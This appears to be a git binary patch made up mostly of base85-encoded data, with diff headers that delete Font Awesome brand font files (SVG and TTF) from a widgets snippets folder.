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 diff --git a/pages/widgets/_snippets/public/fonts/fa-brands-400.svg b/pages/widgets/_snippets/public/fonts/fa-brands-400.svg deleted file mode 100644 index 2d4771e..0000000 --- a/pages/widgets/_snippets/public/fonts/fa-brands-400.svg +++ /dev/null @@ -1,3570 +0,0 @@ - - - - - -Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 - By Robert Madole -Copyright (c) Font Awesome - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/pages/widgets/_snippets/public/fonts/fa-brands-400.ttf b/pages/widgets/_snippets/public/fonts/fa-brands-400.ttf deleted file mode 100644 index 948a2a6cc76a4d7cb692d0d08e352f126ec48a9d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 132728 zcmeFad7K?pnLk{o_Py%fs#|sUed&F1OhtKdB3M_cL)tx2 zPMtc-bDrh--^9zi;N{OaE7 zxV7#9h9Mh}-g@%c+s^%uAO6{782M`qBfP$I+Xd$yIf9y4aRArloo9XI)HB!rbc|ub zE<^tH<8*O3^{Ny z!?@pL&^K}%tN-`@@tr4GBX2Ppi`y9Hr8}={oBr)R@|PozvR9G)NXty?GH$}(z9ah> zhTV2Wkn*jRntDf@k4A za&C|go{9RxN87PG$PdlbceMOICPH2d>Xw6RZ!$8yC#ZYoxAn~IG0%IiPqcqyxS!UK zBX}N7GmJXZ@0t2=J%TzUc8oEQN5?OUJVNh7zKDG0?;cEWz4eTJOwV*X4E#FN=OUgj z2ImaJ&$NZ6r|WL@XY9z4;2IsvvDQJ`NZW@)VaJZVi@uQHzJ18s9pnddi0kYzWodmG z9Q2t-$CTcOawZOr{3>WO9n0`cJ@}pJYZlLmvCNVG#&wt8cg&Fm%>^_t^St2Neg^pr 